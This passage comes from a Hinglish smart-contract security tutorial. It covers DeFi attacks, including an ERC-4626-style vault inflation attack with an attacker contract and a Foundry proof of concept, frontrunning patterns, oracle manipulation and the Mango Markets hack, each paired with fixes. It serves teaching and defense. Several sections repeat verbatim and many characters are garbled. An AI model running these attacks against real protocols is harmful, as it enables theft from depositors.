// โ If totalAssets hugely inflated:
// sharesOut rounds to 0!
}
require(sharesOut > 0, "Zero shares");
// โ Won't save victim!
// Victim gets exactly 0 โ Reverts!
// But attacker already owns everything!
token.transferFrom(
msg.sender, address(this), assets
);
shares[msg.sender] += sharesOut;
totalShares += sharesOut;
}
function withdraw(
uint256 sharesIn
) external returns (uint256 assets) {
assets = sharesIn
* totalAssets()
/ totalShares;
shares[msg.sender] -= sharesIn;
totalShares -= sharesIn;
token.transfer(msg.sender, assets);
}
}
// โโโ ATTACK โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
contract InflationAttacker {
InflationVulnerableVault vault;
IERC20 token;
constructor(
address _vault,
address _token
) {
vault = InflationVulnerableVault(_vault);
token = IERC20(_token);
}
function attack(
uint256 victimExpectedDeposit
) external {
console.log("=== INFLATION ATTACK ===");
// Step 1: Deposit 1 wei
token.approve(address(vault), type(uint256).max);
vault.deposit(1);
console.log("Attacker shares:", 1);
console.log("Vault assets:", 1);
// Step 2: Donate large amount directly!
// NOT via deposit โ bypass share calculation!
token.transfer(
address(vault),
victimExpectedDeposit - 1
);
// Now: 1 share = victimExpectedDeposit assets!
console.log(
"After donation, vault assets:",
token.balanceOf(address(vault))
);
console.log("1 share worth:",
vault.totalAssets() / vault.totalShares()
);
// Step 3: Victim tries to deposit:
// victimDeposit * 1 / victimExpectedDeposit
// = 0 (integer division!)
// Victim gets 0 shares โ TX reverts!
// OR if check missing โ Loses funds!
}
function extractProfit() external {
// Withdraw 1 share = Get everything!
uint256 totalAssets = vault.totalAssets();
vault.withdraw(1);
console.log("Attacker got:", totalAssets);
}
}
// โโโ FOUNDRY POC โโโโโโโโโโโโโโโโโโโโโโโโโโ
contract InflationAttackTest is Test {
InflationVulnerableVault vault;
MockERC20 token;
InflationAttacker attacker;
address alice = makeAddr("alice");
address hacker = makeAddr("hacker");
function setUp() public {
token = new MockERC20();
vault = new InflationVulnerableVault(
address(token)
);
attacker = new InflationAttacker(
address(vault),
address(token)
);
// Give tokens:
token.mint(hacker, 2000e18);
token.mint(alice, 1000e18);
}
function test_inflationAttack() public {
// Hacker executes attack:
vm.startPrank(hacker);
token.transfer(address(attacker), 2000e18);
attacker.attack(1000e18);
vm.stopPrank();
// Alice tries to deposit 1000e18:
vm.startPrank(alice);
token.approve(address(vault), 1000e18);
vm.expectRevert("Zero shares");
vault.deposit(1000e18);
// Alice can't deposit!
vm.stopPrank();
console.log("Alice's deposit blocked!");
console.log(
"Vault held hostage by attacker's 1 share"
);
}
}
// โโโ FIXES โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// Fix 1: Virtual assets/shares (ERC-4626 standard)
contract FixedVault {
uint256 constant VIRTUAL_SHARES = 1e8;
uint256 constant VIRTUAL_ASSETS = 1;
// โ "Pre-seed" the vault virtually!
// Makes 1-wei attack economically unviable!
function totalAssets() public view
returns (uint256)
{
return token.balanceOf(address(this))
+ VIRTUAL_ASSETS;
}
function convertToShares(
uint256 assets
) public view returns (uint256) {
return assets
* (totalShares + VIRTUAL_SHARES)
/ totalAssets();
// Virtual amounts make inflation attack
// require enormous capital to execute!
}
}
// Fix 2: Minimum liquidity lock
uint256 constant MIN_LIQUIDITY = 1000;
if (totalShares == 0) {
sharesOut = assets - MIN_LIQUIDITY;
// Lock MIN_LIQUIDITY shares permanently!
shares[address(0)] += MIN_LIQUIDITY;
totalShares += MIN_LIQUIDITY;
// Makes 1-wei first deposit attack impossible!
}
// Fix 3: Internal balance tracking
// Don't use token.balanceOf(address(this))!
// Track deposits internally!
uint256 internal _totalTrackedAssets;
function deposit(uint256 assets) external {
// Calculate BEFORE transfer:
sharesOut = assets * totalShares
/ _totalTrackedAssets;
// Internal tracking = Immune to donations!
_totalTrackedAssets += assets;
token.transferFrom(msg.sender, address(this), assets);
}PART 5: Frontrunning Types & Defenses!
Frontrunning categories:
1. Pure Frontrunning:
Copy victim's TX, higher gas
Execute before victim
2. Displacement:
Replace victim's TX completely
Attacker takes the opportunity
3. Suppression/Griefing:
Fill blocks with TXs
Prevent victim's TX from executing
4. Back-running:
Execute AFTER specific TX
(Oracle update, large swap)
5. Sandwich (covered earlier):
Front + Back run combined
// โโโ Frontrunnable Patterns โโโโโโโโโโโโโโโ
// Pattern 1: NFT Minting Race
contract FrontrunnableMint {
mapping(uint256 => address) public owners;
uint256 public nextId;
// โ ๏ธ First come first serve on-chain!
function mint(uint256 desiredId) external {
require(owners[desiredId] == address(0));
// โ Frontrunner sees this in mempool!
// Higher gas โ Gets desired ID first!
owners[desiredId] = msg.sender;
}
// โ
Fix: Commit-reveal scheme!
mapping(address => bytes32) public commits;
function commit(bytes32 hash) external {
commits[msg.sender] = hash;
// hash = keccak256(desiredId + secret)
}
function reveal(
uint256 desiredId,
bytes32 secret
) external {
require(
commits[msg.sender] ==
keccak256(abi.encodePacked(
desiredId, secret
))
);
require(owners[desiredId] == address(0));
owners[desiredId] = msg.sender;
}
}
// Pattern 2: Approve + TransferFrom Race
contract ApproveRace {
// โ ๏ธ Classic ERC-20 approval race!
// Scenario:
// 1. Alice approves Bob for 100 tokens
// 2. Alice changes to 50 tokens
// 3. Bob frontruns step 2:
// - Uses 100 (before change)
// - After change: Approves again 50
// - Uses 50 again!
// - Total: 150 tokens stolen!
// โ
Fix: Increase/Decrease allowance
function increaseAllowance(
address spender,
uint256 addedValue
) external {
allowances[msg.sender][spender] += addedValue;
// No race condition!
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) external {
allowances[msg.sender][spender] -= subtractedValue;
}
}
// Pattern 3: Oracle Update Frontrunning
contract OracleFrontrunnable {
uint256 public price;
address public oracle;
// โ ๏ธ Price update frontrunnable!
function updatePrice(
uint256 newPrice
) external {
require(msg.sender == oracle);
// Old price: $2000
// New price: $1800 (crash!)
// Attacker sees this TX pending:
// 1. Borrow maximum at $2000 collateral
// 2. Price updates to $1800
// 3. Position underwater โ Walk away!
price = newPrice;
}
// โ
Fix: Price deviation check
uint256 constant MAX_DEVIATION = 500; // 5%
function updatePriceSafe(
uint256 newPrice
) external {
require(msg.sender == oracle);
uint256 deviation;
if (newPrice > price) {
deviation = (newPrice - price)
* 10000 / price;
} else {
deviation = (price - newPrice)
* 10000 / price;
}
require(
deviation <= MAX_DEVIATION,
"Price deviation too high!"
);
// โ Gradual price changes only!
// Single block can't crash price 50%!
price = newPrice;
}
}Frontrunning categories:
1. Pure Frontrunning:
Copy victim's TX, higher gas
Execute before victim
2. Displacement:
Replace victim's TX completely
Attacker takes the opportunity
3. Suppression/Griefing:
Fill blocks with TXs
Prevent victim's TX from executing
4. Back-running:
Execute AFTER specific TX
(Oracle update, large swap)
5. Sandwich (covered earlier):
Front + Back run combined
// โโโ Frontrunnable Patterns โโโโโโโโโโโโโโโ
// Pattern 1: NFT Minting Race
contract FrontrunnableMint {
mapping(uint256 => address) public owners;
uint256 public nextId;
// โ ๏ธ First come first serve on-chain!
function mint(uint256 desiredId) external {
require(owners[desiredId] == address(0));
// โ Frontrunner sees this in mempool!
// Higher gas โ Gets desired ID first!
owners[desiredId] = msg.sender;
}
// โ
Fix: Commit-reveal scheme!
mapping(address => bytes32) public commits;
function commit(bytes32 hash) external {
commits[msg.sender] = hash;
// hash = keccak256(desiredId + secret)
}
function reveal(
uint256 desiredId,
bytes32 secret
) external {
require(
commits[msg.sender] ==
keccak256(abi.encodePacked(
desiredId, secret
))
);
require(owners[desiredId] == address(0));
owners[desiredId] = msg.sender;
}
}
// Pattern 2: Approve + TransferFrom Race
contract ApproveRace {
// โ ๏ธ Classic ERC-20 approval race!
// Scenario:
// 1. Alice approves Bob for 100 tokens
// 2. Alice changes to 50 tokens
// 3. Bob frontruns step 2:
// - Uses 100 (before change)
// - After change: Approves again 50
// - Uses 50 again!
// - Total: 150 tokens stolen!
// โ
Fix: Increase/Decrease allowance
function increaseAllowance(
address spender,
uint256 addedValue
) external {
allowances[msg.sender][spender] += addedValue;
// No race condition!
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) external {
allowances[msg.sender][spender] -= subtractedValue;
}
}
// Pattern 3: Oracle Update Frontrunning
contract OracleFrontrunnable {
uint256 public price;
address public oracle;
// โ ๏ธ Price update frontrunnable!
function updatePrice(
uint256 newPrice
) external {
require(msg.sender == oracle);
// Old price: $2000
// New price: $1800 (crash!)
// Attacker sees this TX pending:
// 1. Borrow maximum at $2000 collateral
// 2. Price updates to $1800
// 3. Position underwater โ Walk away!
price = newPrice;
}
// โ
Fix: Price deviation check
uint256 constant MAX_DEVIATION = 500; // 5%
function updatePriceSafe(
uint256 newPrice
) external {
require(msg.sender == oracle);
uint256 deviation;
if (newPrice > price) {
deviation = (newPrice - price)
* 10000 / price;
} else {
deviation = (price - newPrice)
* 10000 / price;
}
require(
deviation <= MAX_DEVIATION,
"Price deviation too high!"
);
// โ Gradual price changes only!
// Single block can't crash price 50%!
price = newPrice;
}
}PART 6: Mango Markets Hack Breakdown $117M!
Mango Markets โ October 2022
Attacker: Avraham Eisenberg
Amount: $117 million
Method: Oracle price manipulation
Platform: Solana (but same concepts!)
Token: MNGO (Mango's governance token)
Attack steps:
1. Preparation:
Two accounts prepared
Account A: Long MNGO futures (buy)
Account B: Short MNGO futures (sell)
Net position: Neutral (no risk!)
2. Price manipulation:
Account A buys massive MNGO
MNGO price: $0.03 โ $0.91 (30x!)
Low liquidity token = Easy manipulation!
3. Exploit:
Account A now has HUGE unrealized profit
(On paper: $500M+ collateral value!)
Borrows ALL available assets from Mango:
USDC, SOL, BTC, ETH โ everything!
4. Walk away:
Account B's short position = Worthless
(Insurance doesn't cover this)
Mango's treasury depleted!
$117M gone!
Attacker's defense (he said publicly):
"I engaged in a highly profitable trading strategy"
"It was legal market manipulation" (???!)
Later arrested by FBI anyway!
Lessons:
โ Oracle manipulation with own protocol token
โ Low liquidity tokens = Easy manipulation
โ Position size limits needed!
โ Borrow limits relative to pool size!
// Mango-style conceptual vulnerability:
contract MangoStyleProtocol {
struct Position {
uint256 collateralValue;
uint256 debtValue;
}
mapping(address => Position) positions;
// โ ๏ธ Uses spot price of native token!
function getCollateralValue(
address user
) public view returns (uint256) {
uint256 mngoBalance = positions[user]
.collateralValue;
// MNGO spot price from DEX:
uint256 mngoPrice = getMNGOSpotPrice();
// โ MANIPULABLE!
return mngoBalance * mngoPrice / 1e18;
}
// โ ๏ธ No borrow cap!
function borrow(
address token,
uint256 amount
) external {
uint256 colValue =
getCollateralValue(msg.sender);
require(
amount <= colValue * 75 / 100,
"Exceeds LTV"
);
// โ ๏ธ No check: Is total pool depleted?
// Single user can borrow everything!
IERC20(token).transfer(msg.sender, amount);
}
// โ
Fixes:
// 1. Borrow cap per user:
uint256 constant MAX_BORROW_PERCENT = 10;
// Max 10% of pool per user!
// 2. Use TWAP not spot:
function getSafeMNGOPrice()
internal view returns (uint256)
{
return twapOracle.getPrice(MNGO);
// Time-weighted = Harder to manipulate!
}
// 3. Low liquidity token restrictions:
uint256 constant MIN_LIQUIDITY_THRESHOLD =
1_000_000e18;
// Token must have $1M+ liquidity
// to be used as collateral!
}Mango Markets โ October 2022
Attacker: Avraham Eisenberg
Amount: $117 million
Method: Oracle price manipulation
Platform: Solana (but same concepts!)
Token: MNGO (Mango's governance token)
Attack steps:
1. Preparation:
Two accounts prepared
Account A: Long MNGO futures (buy)
Account B: Short MNGO futures (sell)
Net position: Neutral (no risk!)
2. Price manipulation:
Account A buys massive MNGO
MNGO price: $0.03 โ $0.91 (30x!)
Low liquidity token = Easy manipulation!
3. Exploit:
Account A now has HUGE unrealized profit
(On paper: $500M+ collateral value!)
Borrows ALL available assets from Mango:
USDC, SOL, BTC, ETH โ everything!
4. Walk away:
Account B's short position = Worthless
(Insurance doesn't cover this)
Mango's treasury depleted!
$117M gone!
Attacker's defense (he said publicly):
"I engaged in a highly profitable trading strategy"
"It was legal market manipulation" (???!)
Later arrested by FBI anyway!
Lessons:
โ Oracle manipulation with own protocol token
โ Low liquidity tokens = Easy manipulation
โ Position size limits needed!
โ Borrow limits relative to pool size!
// Mango-style conceptual vulnerability:
contract MangoStyleProtocol {
struct Position {
uint256 collateralValue;
uint256 debtValue;
}
mapping(address => Position) positions;
// โ ๏ธ Uses spot price of native token!
function getCollateralValue(
address user
) public view returns (uint256) {
uint256 mngoBalance = positions[user]
.collateralValue;
// MNGO spot price from DEX:
uint256 mngoPrice = getMNGOSpotPrice();
// โ MANIPULABLE!
return mngoBalance * mngoPrice / 1e18;
}
// โ ๏ธ No borrow cap!
function borrow(
address token,
uint256 amount
) external {
uint256 colValue =
getCollateralValue(msg.sender);
require(
amount <= colValue * 75 / 100,
"Exceeds LTV"
);
// โ ๏ธ No check: Is total pool depleted?
// Single user can borrow everything!
IERC20(token).transfer(msg.sender, amount);
}
// โ
Fixes:
// 1. Borrow cap per user:
uint256 constant MAX_BORROW_PERCENT = 10;
// Max 10% of pool per user!
// 2. Use TWAP not spot:
function getSafeMNGOPrice()
internal view returns (uint256)
{
return twapOracle.getPrice(MNGO);
// Time-weighted = Harder to manipulate!
}
// 3. Low liquidity token restrictions:
uint256 constant MIN_LIQUIDITY_THRESHOLD =
1_000_000e18;
// Token must have $1M+ liquidity
// to be used as collateral!
}PART 7: Defense Patterns Complete Arsenal!
// โโโ Defense 1: Pull Payment Pattern โโโโโโ
contract PullPayment {
mapping(address => uint256)
public pendingReturns;
// Don't push ETH โ User pulls!
function withdraw() external {
uint256 amount = pendingReturns[msg.sender];
require(amount > 0);
pendingReturns[msg.sender] = 0;
// โ Zero first!
payable(msg.sender).transfer(amount);
// Even if attacker, no reentrancy advantage!
}
}
// โโโ Defense 2: Price Circuit Breaker โโโโโ
contract PriceCircuitBreaker {
uint256 public lastPrice;
uint256 public lastUpdateTime;
uint256 constant MAX_CHANGE = 1000; // 10%
uint256 constant COOLDOWN = 1 hours;
function updatePrice(
uint256 newPrice
) external onlyOracle {
require(
block.timestamp >= lastUpdateTime
+ COOLDOWN,
"Too frequent!"
);
uint256 change;
if (newPrice > lastPrice) {
change = (newPrice - lastPrice)
* 10000 / lastPrice;
} else {
change = (lastPrice - newPrice)
* 10000 / lastPrice;
}
require(change <= MAX_CHANGE, "Circuit breaker!");
lastPrice = newPrice;
lastUpdateTime = block.timestamp;
}
}
// โโโ Defense 3: Flash Loan Detection โโโโโโ
contract FlashLoanDetector {
mapping(address => uint256)
public depositBlock;
function deposit() external {
depositBlock[msg.sender] = block.number;
}
modifier noFlashLoan() {
require(
depositBlock[msg.sender] < block.number,
"Flash loan detected!"
);
_;
}
function sensitiveAction()
external noFlashLoan
{
// Flash loan = Deposit + Action same block
// This modifier prevents it!
}
}
// โโโ Defense 4: Minimum Liquidity โโโโโโโโโ
contract MinimumLiquidity {
uint256 constant MINIMUM_LIQUIDITY = 1e3;
bool private _initialized;
function initialize() external {
require(!_initialized);
_initialized = true;
// Burn minimum liquidity:
_mint(address(0), MINIMUM_LIQUIDITY);
// address(0) = Dead address
// These shares NEVER redeemable!
// Inflation attack needs more capital!
}
}
// โโโ Defense 5: Commit-Reveal โโโโโโโโโโโโโ
contract CommitReveal {
mapping(address => bytes32) public commits;
mapping(address => uint256) public commitBlock;
uint256 constant REVEAL_WINDOW = 10; // blocks
function commit(bytes32 hash) external {
commits[msg.sender] = hash;
commitBlock[msg.sender] = block.number;
}
function reveal(
uint256 value,
bytes32 salt
) external {
require(
block.number > commitBlock[msg.sender],
"Same block!"
);
require(
block.number <= commitBlock[msg.sender]
+ REVEAL_WINDOW,
"Expired!"
);
require(
commits[msg.sender] ==
keccak256(abi.encodePacked(value, salt)),
"Hash mismatch!"
);
_processValue(value, msg.sender);
}
}// โโโ Defense 1: Pull Payment Pattern โโโโโโ
contract PullPayment {
mapping(address => uint256)
public pendingReturns;
// Don't push ETH โ User pulls!
function withdraw() external {
uint256 amount = pendingReturns[msg.sender];
require(amount > 0);
pendingReturns[msg.sender] = 0;
// โ Zero first!
payable(msg.sender).transfer(amount);
// Even if attacker, no reentrancy advantage!
}
}
// โโโ Defense 2: Price Circuit Breaker โโโโโ
contract PriceCircuitBreaker {
uint256 public lastPrice;
uint256 public lastUpdateTime;
uint256 constant MAX_CHANGE = 1000; // 10%
uint256 constant COOLDOWN = 1 hours;
function updatePrice(
uint256 newPrice
) external onlyOracle {
require(
block.timestamp >= lastUpdateTime
+ COOLDOWN,
"Too frequent!"
);
uint256 change;
if (newPrice > lastPrice) {
change = (newPrice - lastPrice)
* 10000 / lastPrice;
} else {
change = (lastPrice - newPrice)
* 10000 / lastPrice;
}
require(change <= MAX_CHANGE, "Circuit breaker!");
lastPrice = newPrice;
lastUpdateTime = block.timestamp;
}
}
// โโโ Defense 3: Flash Loan Detection โโโโโโ
contract FlashLoanDetector {
mapping(address => uint256)
public depositBlock;
function deposit() external {
depositBlock[msg.sender] = block.number;
}
modifier noFlashLoan() {
require(
depositBlock[msg.sender] < block.number,
"Flash loan detected!"
);
_;
}
function sensitiveAction()
external noFlashLoan
{
// Flash loan = Deposit + Action same block
// This modifier prevents it!
}
}
// โโโ Defense 4: Minimum Liquidity โโโโโโโโโ
contract MinimumLiquidity {
uint256 constant MINIMUM_LIQUIDITY = 1e3;
bool private _initialized;
function initialize() external {
require(!_initialized);
_initialized = true;
// Burn minimum liquidity:
_mint(address(0), MINIMUM_LIQUIDITY);
// address(0) = Dead address
// These shares NEVER redeemable!
// Inflation attack needs more capital!
}
}
// โโโ Defense 5: Commit-Reveal โโโโโโโโโโโโโ
contract CommitReveal {
mapping(address => bytes32) public commits;
mapping(address => uint256) public commitBlock;
uint256 constant REVEAL_WINDOW = 10; // blocks
function commit(bytes32 hash) external {
commits[msg.sender] = hash;
commitBlock[msg.sender] = block.number;
}
function reveal(
uint256 value,
bytes32 salt
) external {
require(
block.number > commitBlock[msg.sender],
"Same block!"
);
require(
block.number <= commitBlock[msg.sender]
+ REVEAL_WINDOW,
"Expired!"
);
require(
commits[msg.sender] ==
keccak256(abi.encodePacked(value, salt)),
"Hash mismatch!"
);
_processValue(value, msg.sender);
}
}PART 8: Real Hacks Quick Reference!
Oracle Manipulation Hacks:
โโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโ
โ Protocol โ Amount โ Method โ
โโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโค
โ Harvest Finance โ $34M โ Curve price manip โ
โ Cream Finance โ $130M โ Spot price oracle โ
โ Mango Markets โ $117M โ Native token manip โ
โ Beanstalk โ $182M โ Governance + oracle โ
โ Euler Finance โ $197M โ donateToReserves โ
โ Platypus โ $8.5M โ Pool price manip โ
โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโ
Flash Loan Attacks:
โโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโ
โ Protocol โ Amount โ Method โ
โโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโค
โ PancakeBunny โ $45M โ Flash + price manip โ
โ Alpha Homora โ $37M โ Flash + reentrancy โ
โ Voltage Finance โ $4M โ Flash + callback โ
โ Deus Finance โ $13.4M โ Flash + oracle โ
โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโ
Common Defense Summary:
โโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Attack โ Defense โ
โโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Spot price oracle โ TWAP / Chainlink โ
โ Flash loan โ Same-block protection โ
โ Sandwich โ Slippage + deadline โ
โ Donation/Inflation โ Virtual assets / Min liq โ
โ Oracle frontrun โ Circuit breaker โ
โ Approval race โ increase/decreaseAllowance โ
โ NFT mint race โ Commit-reveal โ
โโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโOracle Manipulation Hacks:
โโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโ
โ Protocol โ Amount โ Method โ
โโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโค
โ Harvest Finance โ $34M โ Curve price manip โ
โ Cream Finance โ $130M โ Spot price oracle โ
โ Mango Markets โ $117M โ Native token manip โ
โ Beanstalk โ $182M โ Governance + oracle โ
โ Euler Finance โ $197M โ donateToReserves โ
โ Platypus โ $8.5M โ Pool price manip โ
โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโ
Flash Loan Attacks:
โโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโ
โ Protocol โ Amount โ Method โ
โโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโค
โ PancakeBunny โ $45M โ Flash + price manip โ
โ Alpha Homora โ $37M โ Flash + reentrancy โ
โ Voltage Finance โ $4M โ Flash + callback โ
โ Deus Finance โ $13.4M โ Flash + oracle โ
โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโ
Common Defense Summary:
โโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Attack โ Defense โ
โโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Spot price oracle โ TWAP / Chainlink โ
โ Flash loan โ Same-block protection โ
โ Sandwich โ Slippage + deadline โ
โ Donation/Inflation โ Virtual assets / Min liq โ
โ Oracle frontrun โ Circuit breaker โ
โ Approval race โ increase/decreaseAllowance โ
โ NFT mint race โ Commit-reveal โ
โโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโQuick Revision
๐ฎ Oracle Manipulation:
Spot price = NEVER use for financial decisions!
TWAP = Better but short periods manipulable!
Chainlink = Best but staleness check needed!
Attack: Flash loan โ Swap โ Price spike
โ Borrow at wrong price โ Profit!
Fix:
โ Chainlink with staleness check
โ TWAP minimum 1 hour period
โ Price deviation circuit breaker
โก Flash Loan Attacks:
No capital needed!
Millions available instantly!
Anatomy:
Flash loan โ Manipulate โ Exploit โ Repay
Real hacks:
Harvest $34M, Cream $130M, Euler $197M!
Fix:
โ Don't use manipulable oracles!
โ Same-block deposit protection
โ Reentrancy guards
๐ฅช Sandwich Attacks:
Frontrun + Backrun victim's swap!
Billions stolen from DeFi users!
Fix:
โ amountOutMin parameter (never 0!)
โ Deadline parameter
โ Private mempool (Flashbots)
๐ฐ Donation/Inflation:
First depositor โ 1 wei
Donate directly โ Inflate share price
Victim โ 0 shares!
Fix:
โ Virtual assets (ERC-4626)
โ MINIMUM_LIQUIDITY burn
โ Internal balance tracking
๐ Frontrunning:
Pure / Displacement / Suppression
Sandwich / Back-running
Fix:
โ Commit-reveal schemes
โ Slippage protection
โ Private transactions๐ฎ Oracle Manipulation:
Spot price = NEVER use for financial decisions!
TWAP = Better but short periods manipulable!
Chainlink = Best but staleness check needed!
Attack: Flash loan โ Swap โ Price spike
โ Borrow at wrong price โ Profit!
Fix:
โ Chainlink with staleness check
โ TWAP minimum 1 hour period
โ Price deviation circuit breaker
โก Flash Loan Attacks:
No capital needed!
Millions available instantly!
Anatomy:
Flash loan โ Manipulate โ Exploit โ Repay
Real hacks:
Harvest $34M, Cream $130M, Euler $197M!
Fix:
โ Don't use manipulable oracles!
โ Same-block deposit protection
โ Reentrancy guards
๐ฅช Sandwich Attacks:
Frontrun + Backrun victim's swap!
Billions stolen from DeFi users!
Fix:
โ amountOutMin parameter (never 0!)
โ Deadline parameter
โ Private mempool (Flashbots)
๐ฐ Donation/Inflation:
First depositor โ 1 wei
Donate directly โ Inflate share price
Victim โ 0 shares!
Fix:
โ Virtual assets (ERC-4626)
โ MINIMUM_LIQUIDITY burn
โ Internal balance tracking
๐ Frontrunning:
Pure / Displacement / Suppression
Sandwich / Back-running
Fix:
โ Commit-reveal schemes
โ Slippage protection
โ Private transactionsMeri Baatโฆ
Mango Markets hack ke baad
Avraham Eisenberg ne Twitter pe likha:
"I believe all of our actions were legal."
Phir FBI ne usse arrest kiya.
Wire fraud. Commodities manipulation.
Lesson yeh nahi ki "crime pays" ya nahi.
Lesson yeh hai:
Protocol mein bug tha.
Oracle manipulable thi.
Borrow caps nahi the.
Low liquidity token = collateral.
Yeh sab PREVENTABLE tha!
Ek security researcher ne
pre-launch yeh dhundha hota toh:
โ $XXX,000 bounty
โ $117M saved
โ Hundreds of users protected!
Difference:
Attacker = Criminal + FBI
Researcher = Hero + Bounty
Same knowledge, different intent!
Tum researchers ho!
Yeh knowledge + right intent =
Web3 ko safer banana!
Aur haan โ bounty bhi milti hai! ๐
Abhi tak 20 articles complete ho gaye!
Foundation solid hai!
Agle phase mein:
Advanced attack vectors!
Yahan real bounty territory shuru hoti hai!Mango Markets hack ke baad
Avraham Eisenberg ne Twitter pe likha:
"I believe all of our actions were legal."
Phir FBI ne usse arrest kiya.
Wire fraud. Commodities manipulation.
Lesson yeh nahi ki "crime pays" ya nahi.
Lesson yeh hai:
Protocol mein bug tha.
Oracle manipulable thi.
Borrow caps nahi the.
Low liquidity token = collateral.
Yeh sab PREVENTABLE tha!
Ek security researcher ne
pre-launch yeh dhundha hota toh:
โ $XXX,000 bounty
โ $117M saved
โ Hundreds of users protected!
Difference:
Attacker = Criminal + FBI
Researcher = Hero + Bounty
Same knowledge, different intent!
Tum researchers ho!
Yeh knowledge + right intent =
Web3 ko safer banana!
Aur haan โ bounty bhi milti hai! ๐
Abhi tak 20 articles complete ho gaye!
Foundation solid hai!
Agle phase mein:
Advanced attack vectors!
Yahan real bounty territory shuru hoti hai!Article #21 mein: Advanced Vulnerabilities Part 1: Logic Bugs, Economic Attacks, MEV Real protocol examples aur full PoC!
HackerMD_ Web3 Security Researcher_ GitHub: BotGJ16 | Medium: @HackerMD
Previous: Article #19 Classic Vulnerabilities Part 1 Next: Article #21 Advanced Vulnerabilities Part 1
#OracleManipulation #FlashLoan #SandwichAttack #MEV #PriceManipulation #Web3Security #BugBounty #Hinglish #HackerMD